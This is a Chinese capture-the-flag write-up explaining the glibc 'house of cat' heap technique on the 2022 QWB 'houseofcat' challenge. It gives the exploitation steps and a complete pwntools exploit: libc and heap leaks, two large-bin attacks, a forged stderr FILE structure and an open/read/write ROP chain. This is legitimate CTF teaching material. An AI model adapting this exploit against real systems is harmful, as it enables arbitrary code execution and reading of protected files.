浅析house of cat(下)

前言:

这篇是hosue of cat 系列的最后一篇,之后估计要停一段时间去学apple1,个人感觉学习的顺序应该是orange -> apple2 -> cat -> emma ->apple1但是实际上学到cat应该就可以通杀了。但是本着学习的态度,还是看看apple1。外一以后需要用上呢。

例题:

这里选的例题是2022强网杯的house of cat,很经典的一道例题。

程序逻辑:

程序是一个菜单的堆题,不过在使用程序的主要功能之前,需要输入一些数据来绕过这个检查,可能自己的逆向能力还得提高吧,这里的检查我看了很长时间并结合网上的exp才弄出来,结论就是最开始输入LOGIN | r00t QWB QWXFadmin去进行登录,接下来每一次调用具体的增删改查功能之前都要发送一句CAT | r00t QWB QWXF$\xff ,接下来才能去执行正常的功能。

功能一共有四个 add edit show delete,不算复杂,具体漏洞如下:

1.edit 函数只能使用两次,并且只能写入 0x30 字节的数据
2.delete 函数删除后指针未清0,存在 UAF 漏洞
3.add 函数允许申请16个堆块,申请的堆块大小的范围是 0x418~0x46f ,申请完堆块后可以向里面写入 size 字节的数据。
4.show 函数只能泄露 0x30 字节的数据

利用思路

  1. 利用largbin内的堆块泄露 libc 地址和堆地址
  2. 利用 edit 函数完成第一次 large bin attack 向 libc 中的全局变量 stderr 写入一个堆地址,从而控制 _IO_2_1_stderr 结构体的各个字段
  3. 第二次 large bin attack 去篡改 top chunk 的 size 将其改为非法(要往小了改,因为只有 top chunk 无法满足要申请的 size 时,才会触发 sysmalloc) 注意 large bin attack 想将 top chunk 的 size 改小的话,需要地址错位
  4. 申请一个堆块,此时执行 __malloc_assert 触发攻击

利用largbin内的堆块泄露 libc 地址和堆地址

#泄露libc和heap
add(0,0x440,'flag\x00')
add(1,0x420,'flag\x00')
add(2,0x430,'flag\x00')
delete(0)
add(3,0x450,'flag\x00')
show(0)
fd=uu64(ru('\x7f')[-6:])
libc_base=fd-(0x7f6f8a9bd0e0-0x7f6f8a7a3000)
print("libc_base=",hex(libc_base))
print("fd=",hex(fd))
heap_addr=uu64(ru('\x55')[-6:])
heap_base=heap_addr-(0x556aa3a51290-0x556aa3a51000)
print("heap_base=",hex(heap_base))

利用 edit 函数完成第一次 large bin attack 向 libc 中的全局变量 stderr 写入一个堆地址

add(4,0x440,bytes(fake_IO_stderr))
delete(4)
add(5,0x450,b'flag\x00\x00\x00\x00'+p64(0)+fake_IO_wide_data)
edit(0,p64(fd)*2+p64(heap_addr)+p64(stderr_addr-0x20))
delete(2)
add(6,0x450,'flag\x00')

第二次 large bin attack 去篡改 top chunk 的 size 

add(7,0x430,'flag\x00')

delete(7)
edit(0,p64(fd)*2+p64(heap_addr)+p64(heap_base+0x1c70-0x20+3))

完成攻击

add(10,0x450,'flag\x00')

结果:

完整exp:

from pwn import *
from pwncli import *
from pwn_std import *
context(os='linux', arch='amd64', log_level='debug')
p= getProcess("ctf.qwq.cc","10016","./houseofcat")
elf = ELF("./houseofcat")
libc = ELF("/home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")
'''
patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./patchelf
patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./patchelf
ROPgadget --binary main --only "pop|ret" | grep rdi
set debug-file-directory /home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/.debug/
'''

sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')
def add(idx,size,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n',str(1))
    sla('plz input your cat idx:\n',str(idx))
    sla('plz input your cat size:\n',str(size).encode())
    sa('plz input your content:\n',cont)
def delete(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(2))
    sla('plz input your cat idx:\n',str(idx))
def show(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(3))
    sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(4))
    sla('plz input your cat idx:\n',str(idx))
    sa('plz input your content:\n', cont)

#泄露libc和heap
add(0,0x440,'flag\x00')
add(1,0x420,'flag\x00')
add(2,0x430,'flag\x00')
delete(0)
add(3,0x450,'flag\x00')
show(0)
fd=uu64(ru('\x7f')[-6:])
libc_base=fd-(0x7f6f8a9bd0e0-0x7f6f8a7a3000)
print("libc_base=",hex(libc_base))
print("fd=",hex(fd))
heap_addr=uu64(ru('\x55')[-6:])
heap_base=heap_addr-(0x556aa3a51290-0x556aa3a51000)
print("heap_base=",hex(heap_base))

stderr_addr=libc_base+0x7f04ef532860-0x7f04ef318000
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
close_addr=libc_base+libc.symbols['close']
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
pop_rax_ret=libc_base+0x0000000000045eb0
syscall = libc_base + 0x11ea3b
#close
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(heap_base+0x55b23e8c93f0-0x55b23e8c8000+0x10)
rop+=p64(0)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)
#open
rop+=p64(pop_rdi)
rop+=p64(heap_base+0x55cbc30c6f60-0x55cbc30c6000)# 'flag' address
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)
#read
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0x55cbc30c6f60-0x55cbc30c6000)# flag store address
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)
#write
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(write_addr)

io_wfile_jumps = libc_base + 0x2160c0
fake_IO_stderr=IO_FILE_plus_struct()
fake_IO_stderr._lock=heap_base+0x559fa1786290-0x55a33d39c000
fake_IO_stderr._wide_data=heap_base+0x55cbc30c73d0- 0x55cbc30c6000
fake_IO_stderr.vtable=io_wfile_jumps+0x10

fake_IO_stderr=fake_IO_FILE=flat({
    0x0:0,  #_IO_read_end
    0x8:0,  #_IO_read_base
    0x10:0,  #_IO_write_base
    0x18:0,  #_IO_write_ptr
    0x20:0,  #_IO_write_end
    0x28:0,  #_IO_buf_base
    0x30:0,  #_IO_buf_end
    0x38:0,  #_IO_save_base
    0x40:0,  #_IO_backup_base
    0x48:0,#_IO_save_end
    0x50:0,  #_markers
    0x58:0,  #_chain
    0x60:0,  #_fileno
    0x68:0,  #_old_offset
    0x70:0,  #_cur_column
    0x78:libc_base + 0x21ba60,  #_lock
    0x80:0,  #_offset
    0x88:0,  #_codecvt
    0x90:heap_base+0x55cbc30c73d0- 0x55cbc30c6000,  #_wide_data
    0x98:0,  #_freeres_list
    0xa0:0,  #_freeres_buf
    0xa8:0,  #__pad5
    0xb0:0,  #_mode
    0xc8:io_wfile_jumps+0x10,#vtable

})


fake_IO_wide_data=flat({
    0x0:bytes(rop),
    0xe0:0x55810b78b4b0-0x55810b78a000+heap_base,
    0xf8:libc_base+0x000000000005a170#0x000000000005a170 : mov rsp, rdx ; ret
})
'''
fake_IO_wide_data=flat({
    0x0:[libc_base+0x000000000002a3e5,#pop rdi
        heap_base+0x5626d7c3b950- 0x5626d7c39000,
        libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret                                          
        0,##
        libc_base+0x0000000000108b03,#libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret
        0,
        0,##
        0,
        libc_base+0x0000000000045eb0,#0x0000000000045eb0 : pop rax ; ret
        2,
        libc_base+libc.sym["syscall"]+27,
        libc_base+0x000000000002a3e5,#pop rdi
        3,
        libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret,
        heap_base+0x5626d7c3b950- 0x5626d7c39000,
        libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret,
        0x100,
        0,
        read_addr,
        libc_base+0x000000000002a3e5,#pop rdi,
        1,
        write_addr,],
    0xb0:0,
    0xb8:0,
    0xc0:0,
    0xc8:0,
    0xd0:0,
    0xd8:0,
    0xe0:0x5635cdee03f0-0x5635cdede000+heap_base,
    0x148:libc_base+0x000000000005a120#0x000000000005a120 : mov rsp, rdx ; ret
})
'''
add(4,0x440,bytes(fake_IO_stderr))
delete(4)
add(5,0x450,b'flag\x00\x00\x00\x00'+p64(0)+fake_IO_wide_data)
edit(0,p64(fd)*2+p64(heap_addr)+p64(stderr_addr-0x20))
delete(2)
add(6,0x450,'flag\x00')

add(7,0x430,'flag\x00')

delete(7)
edit(0,p64(fd)*2+p64(heap_addr)+p64(heap_base+0x1c70-0x20+3))

pause()
add(10,0x450,'flag\x00')
#pause()
#add(11, 0x420, 'a')
#pause()

ita()

  • 29
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值